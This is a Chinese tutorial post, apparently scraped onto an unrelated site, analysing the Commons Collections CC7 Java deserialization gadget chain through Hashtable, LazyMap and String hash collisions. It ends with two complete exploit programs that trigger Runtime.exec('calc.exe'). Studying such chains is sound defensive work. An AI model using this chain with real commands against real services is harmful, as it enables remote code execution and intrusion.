当前位置: 首页 > news >正文

怎么在网站上做旅游推广大数据免费查询平台

怎么在网站上做旅游推广,大数据免费查询平台,济南网站建设 刘彬彬,帮外贸供应商推广网站目录 链子原理分析(借尸还魂) 如何构造相等hash 又谈为何lazyMap2.remove("yy") 不过真的需要两个LazyMap吗 EXP 双LazyMap exp HashMap&LazyMap exp 链子原理分析(借尸还魂) 先看Hashtable#readObject origlength和elements分别是原始数组的长度和元素…

目录

链子原理分析(借尸还魂)

如何构造相等hash

又谈为何lazyMap2.remove("yy")

不过真的需要两个LazyMap吗

EXP

双LazyMap exp

HashMap&LazyMap exp


链子原理分析(借尸还魂)

先看Hashtable#readObject

origlength和elements分别是原始数组的长度和元素的数量,最后的key与value就是我们自己构造时用put放进去的,接着调用了reconstitutionPut方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the threshold and loadFactors.defaultReadObject();// Validate loadFactor (ignore threshold - it will be re-computed)if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new StreamCorruptedException("Illegal Load: " + loadFactor);// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Validate # of elementsif (elements < 0)throw new StreamCorruptedException("Illegal # of Elements: " + elements);// Clamp original length to be more than elements / loadFactor// (this is the invariant enforced with auto-growth)origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);// Compute new length with a bit of room 5% + 3 to grow but// no larger than the clamped original length.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)((elements + elements / 20) / loadFactor) + 3;if (length > elements && (length & 1) == 0)length--;length = Math.min(length, origlength);if (length < 0) { // overflowlength = origlength;}// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// sync is eliminated for performancereconstitutionPut(table, key, value);}}

再看Hashtable#reconstitutionPut,这段代码的作用就是往哈希表中添加一个新的键值对,在保证键的唯一性的前提下进行操作,并处理可能的异常情况

 private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}

这里我们因为开了上帝之眼,已经知道要去调用e.key.equals(key)了,但问题是,当第一次调用Hashtable#reconstitutionPut时,由于这个Hashtable是空的,我们不会进for循环,而是直接向其中存一个KV对,这样也就不能去调e.key.equals(key),显然不能令我们满意。

如何解决这个问题呢?其实很朴素,我们先往Hashtable里存一个KV对,这样第二次存的时候就会进到for循环,从而调用e.key.equals(key)了。

我们调用两次reconstitutionPut,也就是说put两个元素进Hashtable对象,这样elements(元素数量)的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;

ok 进入for循环的事情我们已经解决了,但是想去e.key.equals(key)还得要满足e.hash == hash(&&短路机制你懂的),这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行,这个点我们下面单独来讲。

跟进到LazyMap所extend的AbstractMapDecorator#equals,调用了LazyMap的map的equals方法

public boolean equals(Object object) {return object == this ? true : this.map.equals(object);}

跟进HashMap所extend的AbstractMap#equals方法

public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}

调用了m.get(),而m是根据传入的对象获取的,也就是说如果key传入的也是LazyMap类对象,那么这里就是调用的LazyMap#get,从而为所欲为。 (get后续步骤真不用解释吧)

说一点个人的感想:这里其实颇有借尸还魂的味道在里面,我们利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法来去调用传入Hashtable的第二个LazyMap的get方法,从而完成transformer链的攻击。

如何构造相等hash

解铃还须系铃人,先来看看hash是怎么来的

int hash = key.hashCode();

跟进hashCode方法(这里先从key是String类型的对象开始讲,我知道你很急,但你先别急)

public int hashCode() {int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;}

要注意的是第一步是将变量 h 初始化为实例变量 hash 的值。这个 hash 可能是之前计算得到的哈希码,如果没有则为默认值 0 

剩下的其实还是挺好理解的,下面举个例子:

字符串 "hello" 对应的字符数组为 ['h', 'e', 'l', 'l', 'o']。

初始时,h = 0;然后进入条件判断块,开始遍历字符数组:

    第一轮循环:h = 31 * 0 + 'h' 的ASCII码值 = 104;
    第二轮循环:h = 31 * 104 + 'e' 的ASCII码值 = 3144 + 101 = 3245;
    第三轮循环:h = 31 * 3245 + 'l' 的ASCII码值 = 100495 + 108 = 100603;
    第四轮循环:h = 31 * 100603 + 'l' 的ASCII码值 = 3118783 + 108 = 3118891;
    第五轮循环:h = 31 * 3118891 + 'o' 的ASCII码值 = 96713221 + 111 = 96713332。

最终得到的哈希码为 96713332。这个数值作为字符串 "hello" 的哈希码

ok我们的目的是要构造出相同的hash值,我们以'yy'和'zZ'为例,y比z小1,经过第一轮循环后h的差值就差1,在第二轮循环会扩大为31*1,所以我们可以控制第二个字符是y与Z,前面比后面大31刚好抵消了这个差距

众所周知exp里是把LazyMap放Hashtable中的,我们可以先看LazyMap的hashCode方法(extend自AbstractMapDecorator)

public int hashCode() {return this.map.hashCode();}

会调用LazyMap的map的hashCode方法,也就是HashMap的hashCode方法,key与value的分别计算并异或,值我们可以设置的相同,问题是如何让key的hashcode也一致

public final int hashCode() {return Objects.hashCode(key) ^ Objects.hashCode(value);}

跟进Objects的hashCode方法,发现最后调用了传入key的hashCode方法,如果传入的key为String类型,就可以调用String的hashCode方法,也就和上文呼应上了,成功构造相等hash。

public static int hashCode(Object o) {return o != null ? o.hashCode() : 0;}

又谈为何lazyMap2.remove("yy")

先贴出CC6中类似的操作:【Web】Java反序列化之CC6--HashMap版-CSDN博客

Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。导致第二个LazyMap的HashMap中会有两个元素。

Hashtable#put

public synchronized V put(K key, V value) {// Make sure the value is not nullif (value == null) {throw new NullPointerException();}// Makes sure the key is not already in the hashtable.Entry<?,?> tab[] = table;int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;@SuppressWarnings("unchecked")Entry<K,V> entry = (Entry<K,V>)tab[index];for(; entry != null ; entry = entry.next) {if ((entry.hash == hash) && entry.key.equals(key)) {V old = entry.value;entry.value = value;return old;}}addEntry(hash, key, value, index);return null;}

 这段其实上面那篇文章里也有写

if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;}

 而HashMap所extend的AbstractMap#equals方法中要求两个HashMap中元素个数相同,否则直接return false,所以我们需要先remove一个。

 Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;

不过真的需要两个LazyMap吗

虽然yso里是用了两个LazyMap,但其实根本没有必要

关于CC7的分析与思考

我们上面借尸还魂的部分也提到过,第一个LazyMap利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法,那为啥不直接把第一个LazyMap换成HashMap呢,更简洁高雅且本质

EXP

双LazyMap exp

package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap2.remove("yy");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}

HashMap&LazyMap exp

package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map map1 = new HashMap();Map map2 = new HashMap();map1.put("yy", 1);map2.put("zZ", 1);Map lazyMap1 = LazyMap.decorate(map1, transformerChain);Hashtable hashtable = new Hashtable();hashtable.put(map2, 1);hashtable.put(lazyMap1, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap1.remove("zZ");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}
http://www.jinmujx.cn/news/106742.html

相关文章:

  • wordpress+4+chm小红书seo关键词优化多少钱
  • 博客网站 wordpress关键词排名优化流程
  • 整形网站 源码企业网站建设多少钱
  • 网络卖东西的平台有哪些seo在线培训机构
  • 山东平台网站建设推荐深圳高端网站制作公司
  • 公司网站建设总结广东短视频seo营销
  • 辽宁建设建设工程信息网杭州seo百度关键词排名推广
  • 商城网站开发周期自己怎么开发app软件
  • 网站营销不同阶段的网站分析目标免费建一个自己的网站
  • 揭阳公司做网站营销推广的主要方法
  • 网站建设企业的未来发展计划百度识图网站
  • 企业注册资本代表什么平原县网站seo优化排名
  • 即速应用微信小程序官网长沙seo袁飞
  • 保亭交通工程建设局网站企业网站模板设计
  • 和文化有关的吉网站建设模板win7系统优化
  • 阿里云服务器可以做彩票网站吗保定seo推广公司
  • 自己做网站要钱吗网站运营与维护
  • 兖州市做网站郑州关键词排名顾问
  • 昆明有哪些帮忙做网站的公司百度后台推广登录
  • 新乡哪里有做网站的网站友情链接有什么用
  • 企业网站搭建及优化网站排名点击工具
  • 云南建设厅网站执业注册网络营销方案案例
  • 网站流量平台做网站公司哪家比较好
  • 深圳做网站 信科网络百度提交网站收录入口
  • 专业网站建设最权威网站优化怎么做
  • 镇江网站seo宁波百度seo点击软件
  • 用html5做网站百度经验在线代理浏览网址
  • 网站建设 山东2023年国家免费技能培训
  • 公司网站制作银川天津网站建设技术外包
  • 医疗网站建设方案百度联盟广告点击一次收益